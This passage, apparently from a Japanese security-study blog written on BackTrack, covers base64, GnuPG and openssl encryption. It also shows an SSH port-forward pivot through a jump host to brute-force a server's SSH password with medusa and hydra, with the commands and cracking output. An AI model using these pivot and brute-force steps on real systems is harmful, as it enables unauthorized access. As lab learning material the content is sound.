2013年1月30日水曜日

base64 での変換

Base64 はメールなどでよく使用されるエンコード方式。Java やマルウェアの難読化などでも使用される。
特殊文字やマルチバイト文字が使用できない環境でデータをやり取りするために使用されていた。
変換対象のデータは A-Z/a-z/0-9 と、記号2つ (+ /) 、パディングのための記号として = で変換される。
そのためデータが増えるため圧縮技術にはならず、かつ変換パターンも決まっているため暗号技術でもない。

Back Track での使い方は下記のとおり。

エンコードするとき
base64 [file] > [output file]
デコードするとき
base64 -d [file] > [output file]
ファイルの特徴としては、more コマンドなどで開いたときに可読可能であり、アルファベットおよび = が使われていたら base64 でエンコードされている可能性が高い。file コマンドで調べても ASCII text と表示される。

2013年1月28日月曜日

ssh ポートフォワードを使ってリモートマシンにパスワードクラック

ssh ポートフォワードを使用して外部から直接接続できないサーバ等へのパスワードクラック。
登場する端末とサーバは次のとおり。

client:手元の端末 192.168.1.100
proxy:踏み台サーバ 192.168.1.200
server:攻撃対象のサーバ 192.168.1.80
シナリオとしては、proxy の ssh へログイン可能なユーザ ID とパスワードはわかっている状態で client から ssh 接続可能な環境。proxy の ssh_config にて AllowTcpForwarding yes が設定されているものとする。
攻撃対象の server は proxy からのみアクセスを受け付けるため client からは一切アクセスできない。

まずは ssh などで client から server へアクセスさせる。
client と proxy の間で ssh トンネルを張った後に client の port 10000 を使って server の port 22 へアクセスさせる。
トンネルを構築するためのコマンドは次の通り。

ssh -L 10000:192.168.1.80:22 192.168.1.200
コマンドが正常に実行されるとパスワードが聞かれ、入力すると proxy とのトンネルが張られた状態になる。
この状態では ssh のコマンドプロンプトが開きっぱなしになる。複数のトンネルを張る場合などバックグラウンド処理させるためには以下のように -N -f オプションをつける。

ssh -N -f -L 10000:192.168.1.80:22 192.168.1.200
基本的にこの port 10000 は localhost でしか使えない。他の端末などから接続させたい場合には -g オプションが必要になる。
ポートフォワードの設定がされると client のポート 10000 が待ち状態になる。

root@bt:~# netstat -nap | grep 10000
tcp        0      0 127.0.0.1:10000         0.0.0.0:*               LISTEN      2468/ssh 
ここで client にて下記のようにコマンドを実行すると server へ ssh 接続できる。

ssh -p 10000 localhost
client から ssh で server まで接続できることがわかればまずは medusa でパスワードクラック。
medusa で使用する場合は ssh モジュールを port 10000 で使用するので -n で指定、-h localhost で実行すると失敗したので 127.0.0.1 で実行する。

root@bt:~# medusa -u root -p password123 -h 127.0.0.1 -M ssh -n 10000
Medusa v2.1.1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks 

ACCOUNT CHECK: [ssh] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: password123 (1 of 1 complete)
ACCOUNT FOUND: [ssh] Host: 127.0.0.1 User: root Password: password123 [SUCCESS]
これで、外部から直接アクセスできないサーバへのパスワードクラックが可能。

hydra の使い方

hydra とは medusa と同様に ssh などへのパスワードクラッカーツール。
medusa に比べて古くから使用されている。
ssh は medusa が良いようだが、ftp には hydra がよさそうなど相性が多少なりあるようなので、両方使用できるほうがいい。

使用方法としては以下のとおり。medusa は hydra から派生したらしいのでオプションの使い方が似ている。

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [server service [OPT]]|[service://server[:PORT][/OPT]]
オプションは以下のとおり。
使いそうな部分を一部日本語で。

Options:
  -R        restore a previous aborted/crashed session
  -S        perform an SSL connect
  -s PORT   if the service is on a different default port, define it here
  -l LOGIN or -L FILE  小文字ならユーザ直接指定、大文字ならユーザ名が書いてあるファイル指定
  -p PASS  or -P FILE  小文字ならパスワード直接指定、大文字ならファイル指定
  -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
  -e nsr    n ならパスワードなし、s ならユーザ名をパスワードとして設定、r はユーザ名を逆にする
  -u        loop around users, not passwords (effective! implied with -x)
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to be attacked in parallel, one entry per line
  -o FILE   write found login/password pairs to FILE instead of stdout
  -f / -F   クラックできたときの処理、小文字ならホスト単位で終了、大文字なら全部終了
  -t TASKS  run TASKS number of connects in parallel (per host, default: 16)
  -w / -W TIME  waittime for responses (32s) / between connects per thread
  -4 / -6   prefer IPv4 (default) or IPv6 addresses
  -v / -V   verbose mode / show login+pass combination for each attempt
  -U        service module usage details
  server    the target server (use either this OR the -M option)
  service   the service to crack. Supported protocols: cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh sip smb smtp[s] smtp-enum snmp socks5 ssh svn teamspeak telnet[s] vmauthd vnc xmpp
  OPT       some service modules need special input (use -U to see module help)
Use HYDRA_PROXY_HTTP/HYDRA_PROXY and HYDRA_PROXY_AUTH environment for a proxy.
使用例は以下のとおり。

Examples:
  hydra -l john -p doe 192.168.0.1 ftp
  hydra -L user.txt -p defaultpw -S 192.168.0.1 imap PLAIN
  hydra -l admin -P pass.txt http-proxy://192.168.0.1
  hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/DIGEST-MD5
実際に使用してみると以下のようになる。

root@bt:~# hydra -l root -P passwords.txt 192.168.1.100 ssh 
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2013-01-28 18:36:47
[DATA] 16 tasks, 1 server, 503 login tries (l:1/p:503), ~31 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host: 192.168.1.100   login: root   password: toor
[STATUS] attack finished for 192.168.1.100 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-01-28 18:36:52

2013年1月19日土曜日

GnuPG での暗号化と復号化

GNU Privacy Guard (GnuPG) での暗号化と復号化の方法

まずは共通鍵暗号方式での暗号化
-c で共通鍵暗号を指定するが初期値は CAST5 となっている
CAST5 は CAST-128 とも呼ばれるブロック暗号
nビット安全性は AES128 と同様の 128bit となっている、はず
コマンドは以下の通りで、ここにパスフレーズを入力するとファイル名に .pgp がついたファイルが作成される
root@bt:~# gpg -c input_file.txt 
暗号化されたファイルの中身は下記のような状態
root@bt:~# hexdump -C input_file.txt
00000000  54 68 69 73 20 69 73 20  74 65 73 74 20 66 69 6c  |This is test fil|
00000010  65 0a 31 32 33 34 35 0a                           |e.12345.|
00000018
root@bt:~# hexdump -C input_file.txt.gpg 
00000000  8c 0d 04 03 03 02 83 a3  03 d6 a5 b5 44 65 60 c9  |............De`.|
00000010  38 4e 7a e1 5b 05 b3 0d  e6 4d ec 7c 6d 11 32 a2  |8Nz.[....M.|m.2.|
00000020  c8 27 0c 3c a9 cf be a2  9b 6c 83 6c 45 32 80 3c  |.'.<.....l.lE2.<|
00000030  92 fa c8 b5 a9 40 94 7d  07 d1 94 0d b2 e3 97 45  |.....@.}.......E|
00000040  ec 4c 63 42 d6 05 83 4d  78                       |.LcB...Mx|
00000049
root@bt:~# 
復号化するには下記のコマンド
root@bt:~# gpg input_file.txt.gpg 
次に公開鍵暗号方式での暗号化
その前に鍵を生成する
root@bt:~# gpg --gen-key
gpg (GnuPG) 1.4.10; Copyright (C) 2008 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Please select what kind of key you want:
   (1) RSA and RSA (default)
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
Your selection? 
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048) 
Requested keysize is 2048 bits
RSA の長さを選択
1024 だと 80ビット安全性で 2048 だと 112ビット安全性が確保できるらしいので特に理由がなければデフォルトそのままにしておく
Please specify how long the key should be valid.
         0 = key does not expire
        = key expires in n days
      w = key expires in n weeks
      m = key expires in n months
      y = key expires in n years
Key is valid for? (0) 
Key does not expire at all
Is this correct? (y/N) y
証明書の有効期限だが、検証用なので0を選択
You need a user ID to identify your key; the software constructs the user ID
from the Real Name, Comment and Email Address in this form:
    "Heinrich Heine (Der Dichter) "

Real name: BackTrack
Email address: BackTrack@local.com
Comment: 
You selected this USER-ID:
    "BackTrack "

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? 0
Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O
You need a Passphrase to protect your secret key.

gpg: gpg-agent is not available in this session
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
+++++
.....++++++++++
gpg: /root/.gnupg/trustdb.gpg: trustdb created
gpg: key BCE10D31 marked as ultimately trusted
public and secret key created and signed.

gpg: checking the trustdb
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0  valid:   1  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 1u
pub   2048R/BCE10D31 2013-01-19
      Key fingerprint = 4A65 8013 36B1 4B16 9070  FEB6 5DB9 15ED BCE1 0D31
uid                  BackTrack 
sub   2048R/BC2B0ED6 2013-01-19

root@bt:~# 
あとはパスフレーズと求められた情報を入力して作成完了
下記コマンドで作成された鍵のリストが確認できる
 
root@bt:~# gpg --list-keys
/root/.gnupg/pubring.gpg
------------------------
pub   2048R/BCE10D31 2013-01-19
uid                  BackTrack 
sub   2048R/BC2B0ED6 2013-01-19
実際にはホームディレクトリに.gnupgディレクトリが作成されて、そこに公開鍵と秘密鍵が格納されている
root@bt:~# ls -l /root/.gnupg/
total 32
-rw------- 1 root root 9364 2013-01-19 12:35 gpg.conf
-rw------- 1 root root 1190 2013-01-19 13:03 pubring.gpg
-rw------- 1 root root 1190 2013-01-19 13:03 pubring.gpg~
-rw------- 1 root root  600 2013-01-19 13:03 random_seed
-rw------- 1 root root 2568 2013-01-19 13:03 secring.gpg
-rw------- 1 root root 1280 2013-01-19 13:03 trustdb.gpg
root@bt:~# 
root@bt:~# 
他の公開鍵を取得した場合には下記のコマンドでインポートする必要がある
gpg --import FILENAME
鍵のペアをインポートするには以下のコマンド
gpg --import --allow-secret-key-import FILENAME
秘密鍵で暗号化するには -r で鍵を指定する必要がある
また -e を指定した場合にはファイル名に gpg がついたバイナリファイルが生成され、-aを指定した場合にはファイル名に asc がついたアスキーファイルが生成される
root@bt:~# gpg -e -r BackTrack@local.com -e input_file.txt 
root@bt:~# 
root@bt:~# hexdump -C input_file.txt.gpg 
00000000  85 01 0c 03 2e 43 89 fa  bc 2b 0e d6 01 07 ff 5b  |.....C...+.....[|
00000010  51 fa b9 9b b3 de 19 d0  0d 18 e6 fa 3f fd 19 f3  |Q...........?...|
00000020  dd a4 9d 97 12 b0 cb 81  51 32 ef 8f 48 e3 95 13  |........Q2..H...|
00000030  42 00 e0 1b c5 7b 48 17  95 07 38 ee a6 e7 4d d9  |B....{H...8...M.|
00000040  cb c8 9a 38 46 33 81 bb  b1 6c 1e 1a ba 0d 5e bc  |...8F3...l....^.|
00000050  19 7b 36 73 b4 cf 72 06  08 9b 2b 2c cf 71 4b d4  |.{6s..r...+,.qK.|
00000060  ee 00 8c fd f6 61 88 70  ac be dc 00 0b f7 11 4f  |.....a.p.......O|
00000070  76 e4 4f 25 59 f1 e0 f8  f7 d8 34 98 c6 f8 33 bd  |v.O%Y.....4...3.|
00000080  f0 92 62 65 82 f3 8f d3  10 51 b3 38 aa 41 a9 bf  |..be.....Q.8.A..|
00000090  81 85 ea 3e 77 4f 24 09  75 8a 40 e1 d1 37 80 87  |...>wO$.u.@..7..|
000000a0  8d 74 84 1a 59 1b d1 94  68 f1 c6 47 fd ed 46 ba  |.t..Y...h..G..F.|
000000b0  80 29 89 1f 69 95 c3 34  61 4a 76 cb c5 9c e4 71  |.)..i..4aJv....q|
000000c0  c8 87 c3 93 88 13 00 d9  d1 84 f4 6e d1 7c 87 36  |...........n.|.6|
000000d0  30 6e 6d ee cf 77 5c 93  c1 06 8e a3 bf 25 fd b4  |0nm..w\......%..|
000000e0  b9 b5 81 ac f9 b4 57 31  b3 3b 82 8f 46 90 ef 24  |......W1.;..F..$|
000000f0  2d 62 58 2a b8 14 08 6a  b1 af 1b 55 4f 54 63 05  |-bX*...j...UOTc.|
00000100  84 ef 8c 1d 33 37 e1 53  5a 4b 09 09 45 a3 df d2  |....37.SZK..E...|
00000110  5d 01 2e 71 61 09 f2 80  be 14 92 5f 56 2e c8 33  |]..qa......_V..3|
00000120  81 7e 0d 66 49 3f 93 25  bc cd 15 9d e8 9f 6d 87  |.~.fI?.%......m.|
00000130  d1 30 50 d8 9f 2b 04 82  d1 29 34 d1 6e 1d 72 64  |.0P..+...)4.n.rd|
00000140  67 f7 5e 3c a3 af 2d b3  06 c6 73 98 bb 0a 21 63  |g.^<..-...s...!c|
00000150  1f 84 ac 81 c4 70 79 ad  24 d0 fd 8c 21 2c 5a bb  |.....py.$...!,Z.|
00000160  1a 3b a5 ff c0 5d 88 cd  47 d4 22 24 88 5a        |.;...]..G."$.Z|
0000016e
root@bt:~# 
root@bt:~# gpg -a -r BackTrack@local.com -e input_file.txt 
root@bt:~# hexdump -C input_file.txt.asc 
00000000  2d 2d 2d 2d 2d 42 45 47  49 4e 20 50 47 50 20 4d  |-----BEGIN PGP M|
00000010  45 53 53 41 47 45 2d 2d  2d 2d 2d 0a 56 65 72 73  |ESSAGE-----.Vers|
00000020  69 6f 6e 3a 20 47 6e 75  50 47 20 76 31 2e 34 2e  |ion: GnuPG v1.4.|
00000030  31 30 20 28 47 4e 55 2f  4c 69 6e 75 78 29 0a 0a  |10 (GNU/Linux)..|
00000040  68 51 45 4d 41 79 35 44  69 66 71 38 4b 77 37 57  |hQEMAy5Difq8Kw7W|
00000050  41 51 66 2b 4b 76 70 52  52 4f 42 33 67 6a 79 5a  |AQf+KvpRROB3gjyZ|
00000060  4e 71 72 5a 61 68 43 70  54 48 6a 67 68 42 71 74  |NqrZahCpTHjghBqt|
00000070  33 4c 72 41 71 44 56 4b  35 71 67 68 51 4b 75 4a  |3LrAqDVK5qghQKuJ|
00000080  0a 38 55 4e 7a 4d 7a 4b  35 33 63 47 70 37 79 68  |.8UNzMzK53cGp7yh|
00000090  4d 2b 4c 6c 38 37 64 79  6c 51 4e 45 78 51 59 68  |M+Ll87dylQNExQYh|
000000a0  2f 56 4d 78 71 41 50 75  76 59 75 6a 49 55 37 6d  |/VMxqAPuvYujIU7m|
000000b0  46 4c 6d 73 2b 58 69 78  2b 68 4f 35 54 71 43 67  |FLms+Xix+hO5TqCg|
000000c0  55 0a 37 4e 34 31 76 54  47 49 47 34 73 42 50 67  |U.7N41vTGIG4sBPg|
000000d0  59 4e 38 79 6c 38 79 56  64 6e 33 42 6c 30 72 42  |YN8yl8yVdn3Bl0rB|
000000e0  65 6c 6c 6d 30 66 2f 43  33 6b 4f 52 5a 46 58 48  |ellm0f/C3kORZFXH|
000000f0  6b 30 7a 71 75 33 41 64  57 4e 45 6d 62 4a 55 4c  |k0zqu3AdWNEmbJUL|
00000100  42 5a 0a 2b 38 41 6c 6d  6e 6e 74 30 44 71 68 58  |BZ.+8Almnnt0DqhX|
00000110  2b 31 77 65 45 35 43 37  57 57 6d 36 46 2f 79 30  |+1weE5C7WWm6F/y0|
00000120  49 4a 54 55 42 58 49 50  54 77 49 39 6d 5a 75 51  |IJTUBXIPTwI9mZuQ|
00000130  7a 6a 2b 73 4f 69 4c 75  69 46 6e 38 41 4b 54 77  |zj+sOiLuiFn8AKTw|
00000140  6f 4d 73 0a 70 36 61 56  67 39 76 4d 30 69 53 6c  |oMs.p6aVg9vM0iSl|
00000150  71 34 6a 53 4a 55 45 48  36 6a 52 6a 39 70 48 65  |q4jSJUEH6jRj9pHe|
00000160  77 57 63 53 2b 77 50 45  58 69 74 2b 45 7a 43 52  |wWcS+wPEXit+EzCR|
00000170  64 32 54 6e 66 74 54 6e  6f 57 58 36 62 54 74 76  |d2TnftTnoWX6bTtv|
00000180  48 63 43 63 0a 39 49 44  6d 6c 58 6c 2b 48 72 78  |HcCc.9IDmlXl+Hrx|
00000190  59 49 46 66 55 43 42 66  5a 6c 41 73 75 41 6d 74  |YIFfUCBfZlAsuAmt|
000001a0  38 4e 78 4f 77 71 79 67  77 43 78 4d 45 6c 74 4a  |8NxOwqygwCxMEltJ|
000001b0  64 41 57 71 71 50 78 76  53 6f 65 39 77 67 52 41  |dAWqqPxvSoe9wgRA|
000001c0  6d 54 34 58 4a 0a 6f 58  67 32 2b 54 78 45 74 59  |mT4XJ.oXg2+TxEtY|
000001d0  2f 43 34 42 35 38 2b 48  7a 61 64 43 6a 5a 47 47  |/C4B58+HzadCjZGG|
000001e0  4d 4a 6f 50 47 6e 76 75  4a 71 36 46 6a 35 65 62  |MJoPGnvuJq6Fj5eb|
000001f0  37 50 55 66 34 75 4c 42  45 2f 52 46 34 44 55 78  |7PUf4uLBE/RF4DUx|
00000200  73 39 59 41 4f 44 0a 69  31 43 37 62 6b 4d 30 54  |s9YAOD.i1C7bkM0T|
00000210  77 66 66 2b 57 7a 64 39  76 50 75 33 78 49 6f 35  |wff+Wzd9vPu3xIo5|
00000220  73 32 71 57 45 58 6e 6b  2f 49 31 34 34 71 6c 0a  |s2qWEXnk/I144ql.|
00000230  3d 71 36 70 33 0a 2d 2d  2d 2d 2d 45 4e 44 20 50  |=q6p3.-----END P|
00000240  47 50 20 4d 45 53 53 41  47 45 2d 2d 2d 2d 2d 0a  |GP MESSAGE-----.|
00000250
root@bt:~# 
暗号化と復号化の流れは下記のとおり
root@bt:~# gpg -e -r BackTrack@local.com -e input_file2.txt 
root@bt:~# 
root@bt:~# 
root@bt:~# hexdump -C input_file2.txt.gpg 
00000000  85 01 0c 03 2e 43 89 fa  bc 2b 0e d6 01 07 ff 66  |.....C...+.....f|
00000010  f2 77 fa 14 08 16 65 8c  1a c8 87 40 34 ed 82 0f  |.w....e....@4...|
00000020  6b 75 ea 87 d6 99 7c e1  a0 fe 92 ef 0c 4a 97 6d  |ku....|......J.m|
00000030  91 1d f1 04 9c 98 58 98  a9 e0 f1 f1 67 16 79 f8  |......X.....g.y.|
00000040  90 c0 69 74 d2 4d c1 41  d7 4d 89 00 c9 ec e8 56  |..it.M.A.M.....V|
00000050  cd 26 86 13 3e 97 04 17  b8 a6 4d ea 4f 78 a7 df  |.&..>.....M.Ox..|
00000060  c8 61 11 4c 72 ab 55 32  23 57 34 74 16 59 30 7f  |.a.Lr.U2#W4t.Y0.|
00000070  de 25 4f 53 d0 d3 04 d0  99 b4 52 ac b6 84 6e 1d  |.%OS......R...n.|
00000080  bf ab a2 cb f4 67 4d 8f  7e bf 61 ac 6a 3d 4e e2  |.....gM.~.a.j=N.|
00000090  d2 2f cc f9 9e e9 d8 0a  57 74 bb e6 1b 49 39 25  |./......Wt...I9%|
000000a0  58 d2 e4 9c 39 a8 da 9c  f3 83 dc a0 de b3 89 2d  |X...9..........-|
000000b0  6c f3 68 a3 da 03 80 18  6b 79 34 50 d6 3d 24 73  |l.h.....ky4P.=$s|
000000c0  4a 3f c5 8b 64 3a c9 c3  38 bf db 5e 92 f0 5e 0e  |J?..d:..8..^..^.|
000000d0  7e e7 35 10 68 79 08 fe  fc 97 e8 34 ca 70 fc ba  |~.5.hy.....4.p..|
000000e0  03 f3 9c b7 f9 d8 8c 5f  40 c2 94 d8 08 15 72 a6  |......._@.....r.|
000000f0  ba 67 30 8b 14 df 91 7d  93 ca 38 24 43 05 41 18  |.g0....}..8$C.A.|
00000100  f4 80 6e a7 7f c5 ed 66  3a 7e 63 f0 01 49 cc d2  |..n....f:~c..I..|
00000110  5e 01 f4 2a 85 03 34 19  27 e6 76 50 c1 05 7f 32  |^..*..4.'.vP...2|
00000120  2b bd 08 e0 bd 6a 4e 3a  1d 05 4e 02 77 79 f4 eb  |+....jN:..N.wy..|
00000130  66 57 25 b0 53 16 a5 c3  0d 3e fb 36 7f 79 5a 80  |fW%.S....>.6.yZ.|
00000140  72 29 63 58 3a a5 f6 c0  0b f7 a3 84 bf c4 4d 34  |r)cX:.........M4|
00000150  63 1d 2c d2 93 f5 08 58  8b 3d ba 16 5a 6a 9b 87  |c.,....X.=..Zj..|
00000160  07 11 dd 85 0c 29 81 06  9a c6 5f 40 c0 dd 63     |.....)...._@..c|
0000016f
root@bt:~# 
root@bt:~# gpg -d input_file2.txt.gpg 

You need a passphrase to unlock the secret key for
user: "BackTrack "
2048-bit RSA key, ID BC2B0ED6, created 2013-01-19 (main key ID BCE10D31)

gpg: gpg-agent is not available in this session
gpg: encrypted with 2048-bit RSA key, ID BC2B0ED6, created 2013-01-19
      "BackTrack "
test case 2
just try
root@bt:~# 
暗号化されたファイルの先頭 8bit は 10 + type + パケット長依存となっているようなので、ある程度は先頭ビットで暗号の判断ができると思う
そのためには、暗号化されたファイルのパケットリストを表示させる
root@bt:~# gpg --list-packets input_file.txt.gpg 
:pubkey enc packet: version 3, algo 1, keyid 2E4389FABC2B0ED6
        data: [2047 bits]

You need a passphrase to unlock the secret key for
user: "BackTrack "
2048-bit RSA key, ID BC2B0ED6, created 2013-01-19 (main key ID BCE10D31)

gpg: gpg-agent is not available in this session
:encrypted data packet:
        length: 93
        mdc_method: 2
gpg: encrypted with 2048-bit RSA key, ID BC2B0ED6, created 2013-01-19
      "BackTrack "
:compressed packet: algo=2
:literal data packet:
        mode b (62), created 1358569386, name="input_file.txt",
        raw data: 24 bytes
root@bt:~# 
最初のパケットは pubkey enc packet となっている
ソースコードの定義だと1になっている
typedef enum 
  {
    PKT_NONE          = 0,
    PKT_PUBKEY_ENC    = 1,  /* Public key encrypted packet. */
    PKT_SIGNATURE     = 2,  /* Secret key encrypted packet. */
    PKT_SYMKEY_ENC    = 3,  /* Session key packet. */
    PKT_ONEPASS_SIG   = 4,  /* One pass sig packet. */
    PKT_SECRET_KEY    = 5,  /* Secret key. */
    PKT_PUBLIC_KEY    = 6,  /* Public key. */
    PKT_SECRET_SUBKEY = 7,  /* Secret subkey. */
    PKT_COMPRESSED    = 8,  /* Compressed data packet. */
    PKT_ENCRYPTED     = 9,  /* Conventional encrypted data. */
    PKT_MARKER        = 10, /* Marker packet. */
    PKT_PLAINTEXT     = 11, /* Literal data packet. */
    PKT_RING_TRUST    = 12, /* Keyring trust packet. */
    PKT_USER_ID       = 13, /* User id packet. */
    PKT_PUBLIC_SUBKEY = 14, /* Public subkey. */
    PKT_OLD_COMMENT   = 16, /* Comment packet from an OpenPGP draft. */
    PKT_ATTRIBUTE     = 17, /* PGP's attribute packet. */
    PKT_ENCRYPTED_MDC = 18, /* Integrity protected encrypted data. */
    PKT_MDC           = 19, /* Manipulation detection code packet. */
    PKT_COMMENT       = 61, /* new comment packet (GnuPG specific). */
    PKT_GPG_CONTROL   = 63  /* internal control packet (GnuPG specific). */
  } 
そのため、10+0001+xx となり、84,85,86 が先頭ビットの場合は公開鍵暗号で暗号化されたファイルの可能性が高い
共通鍵暗号方式の場合は symkey enc packet となっている
root@bt:~# gpg --list-packets input_file.txt.gpg 
:symkey enc packet: version 4, cipher 3, s2k 3, hash 2
        salt 6c8c20e893de5006, count 65536 (96)
gpg: CAST5 encrypted data
gpg: gpg-agent is not available in this session
:encrypted data packet:
        length: 56
gpg: encrypted with 1 passphrase
:compressed packet: algo=1
:literal data packet:
        mode b (62), created 1358577733, name="input_file.txt",
        raw data: 24 bytes
gpg: WARNING: message was not integrity protected
root@bt:~# 
そのため、10+0011+xx となり 8C,8D,8E から始まる場合は共通鍵暗号方式で暗号化されている可能性が高い

openssl コマンドでのファイルの暗号化と復号化

openssl を使ってファイルを暗号化する
まずは共通鍵暗号方式、パスワードで暗号化する方法
使用できる暗号方式は次の通り

root@bt:~# openssl ciphers
DHE-RSA-AES256-SHA
DHE-DSS-AES256-SHA
AES256-SHA
EDH-RSA-DES-CBC3-SHA
EDH-DSS-DES-CBC3-SHA
DES-CBC3-SHA
DES-CBC3-MD5
DHE-RSA-AES128-SHA
DHE-DSS-AES128-SHA
AES128-SHA
RC2-CBC-MD5
RC4-SHA
RC4-MD5
RC4-MD5
EDH-RSA-DES-CBC-SHA
EDH-DSS-DES-CBC-SHA
DES-CBC-SHA
DES-CBC-MD5
EXP-EDH-RSA-DES-CBC-SHA
EXP-EDH-DSS-DES-CBC-SHA
EXP-DES-CBC-SHA
EXP-RC2-CBC-MD5
EXP-RC2-CBC-MD5
EXP-RC4-MD5
EXP-RC4-MD5
元のファイル input_file.txt を作成

root@bt:~# hexdump -C input_file.txt 
00000000  48 65 6c 6c 6f 20 77 6f  72 6c 64 21 21 0a 54 68  |Hello world!!.Th|
00000010  69 73 20 69 73 20 74 65  73 74 20 66 69 6c 65 0a  |is is test file.|
00000020
root@bt:~# 
まずは共通鍵暗号方式で作成したファイルを暗号化する
暗号方式は AES128 を指定
オプションの -k はパスワードを指定するが、ない場合は対話式で入力

root@bt:~# openssl enc -e -aes128 -in input_file.txt -out out_file.enc -k password 
root@bt:~# file out_file.enc
out_file.enc: data
root@bt:~# hexdump -C out_file.enc 
00000000  53 61 6c 74 65 64 5f 5f  bc ac 6a 90 87 c9 a6 fb  |Salted__..j.....|
00000010  f6 b4 cf e9 cd fe e1 51  2c e1 04 fb 3d 94 3e 5e  |.......Q,...=.>^|
00000020  59 db 69 62 80 d9 70 37  f2 e8 ec a9 88 b8 3f 98  |Y.ib..p7......?.|
00000030  06 20 50 36 38 4c 63 97  8b c3 2c b1 d0 cd 6e 1d  |. P68Lc...,...n.|
00000040
root@bt:~# 
openssl の共通鍵暗号方式で暗号化した場合の特徴としてバイナリの先頭部分が Salted__ から始まる
ファイルタイプとしては data としてしか表示されないので、この部分を参考に判定可能
復号化するには次のコマンド

root@bt:~# openssl enc -d -aes128 -in out_file.enc -k password
Hello world!!
This is test file
root@bt:~# 
公開鍵暗号方式で暗号化する場合には鍵の作成から行う
秘密鍵の生成ではそのまま作成する場合と、鍵自体を暗号化する作成方法がある
平文で秘密鍵を作成する場合は下記のとおり

root@bt:~# openssl genrsa -out private.pem
Generating RSA private key, 512 bit long modulus
.........++++++++++++
.++++++++++++
e is 65537 (0x10001)
root@bt:~# 
root@bt:~# more private.pem 
-----BEGIN RSA PRIVATE KEY-----
MIIBOQIBAAJBAMXq7bBMGF2pjDxsBpcFH3Sr4GrTHD1wAXsy+muxOwg4aulpUf3D
qDxJTw3uijLI3b6/sRL9gupIvSSxMOkZ5OECAwEAAQJABl20H4OTFRArDpZ678ie
ZmZQ5Z68vc0ofwn4vBYLTAxWAI+8YvTX6hZxkaB7BLFYIwc5ufO4TcRzeOeG2kE9
AQIhAPDQenJke3rcPpXJe8f8X0eWuWx/vmaXhqlqi9JMGUdZAiEA0mX1jx64CoeW
qq+N4iF6+TU3uYCclwrF0AprWYoL4MkCIGzw43P8oR/joyyACc9fDHuGZDwBTlF7
GyBpYvewFX+BAiBrnJqsSRn4yMDXLFN1hYpQTFfkGVP+LRRgA/REJ8dLgQIgFWUV
QVhh7g+WsNhAuSOH9ULQoPu49F/m8rIIazcyo/8=
-----END RSA PRIVATE KEY-----
秘密鍵自体を AES128 で暗号化して作成する場合は次のとおり
この場合にはパスフレーズの入力が必要になる

root@bt:~# openssl genrsa -aes128 -out private.pem
Generating RSA private key, 512 bit long modulus
..++++++++++++
....++++++++++++
e is 65537 (0x10001)
Enter pass phrase for private.pem: password
Verifying - Enter pass phrase for private.pem: password
root@bt:~# 
root@bt:~# more private.pem 
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,3A2BDD1E928872053C69907E845E24B9

LjOYTMt8jfIM0TVO1j8pErdYVz3tNltOyojzIq/TH1aIET0qnEHzneU6+AEpDyZi
hZ/zFH5N0+Hlma7T3lw5nAoSWX25ssQP26xcMP0Inr12gUHgr2S8H0Mn7wHVpw4r
9fRciENvEaQDJCI3oYbMmb3gqIe0J6P+jG2FS0S/oBekusmhioR/77bBQWK3sUtq
OPmzPg/pI8dLvdR06UMFyD1VtcNyZLS3/4IxktI8t4Z9tvQZqW54hstSPhwagSpX
jLW+VG857yYyD4ZRqYU/eb6YztbxUVS3TPU+R7rorSEze+87Mb846004wZJGLery
+Co/mRAP4G+xYMT8qGKQIGYKym9bQlYhnQzmMWqEgoKpWYQ3Z3xoQ/I40Tpv+DdO
AF4JiSLedzaW2oCU0BYGV9pTnEEToFM5BVjpXoqpJ//9icb93vXb1tDnqjwc0CT+
-----END RSA PRIVATE KEY-----
次に公開鍵を作成する
暗号化した秘密鍵で公開鍵を作る場合にはパスフレーズが必要になる

root@bt:~# openssl rsa -pubout -in private.pem -out public.pem
Enter pass phrase for private.pem:
writing RSA key
root@bt:~# more public.pem 
-----BEGIN PUBLIC KEY-----
MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAMG8Ax/J6pdjlcNpfTpSsaDYJjNzxsSB
ftrIjQvgdtXIMSWSfDRNjiralgIkigbeTGtse/awqmU6wJjB7b57OjkCAwEAAQ==
-----END PUBLIC KEY-----
root@bt:~# 
作成した公開鍵でファイルを暗号化するには次のとおり

root@bt:~# openssl rsautl -encrypt -pubin -inkey public.pem -in input_file.txt -out out_file.enc
root@bt:~# hexdump -C out_file.enc 
00000000  67 a0 91 5f f0 f5 22 a1  6d e8 c5 3c 20 af 14 5c  |g.._..".m..< ..\|
00000010  2b 63 48 bf 23 59 2a 89  1c 97 4e 5d 9a 2c 20 50  |+cH.#Y*...N]., P|
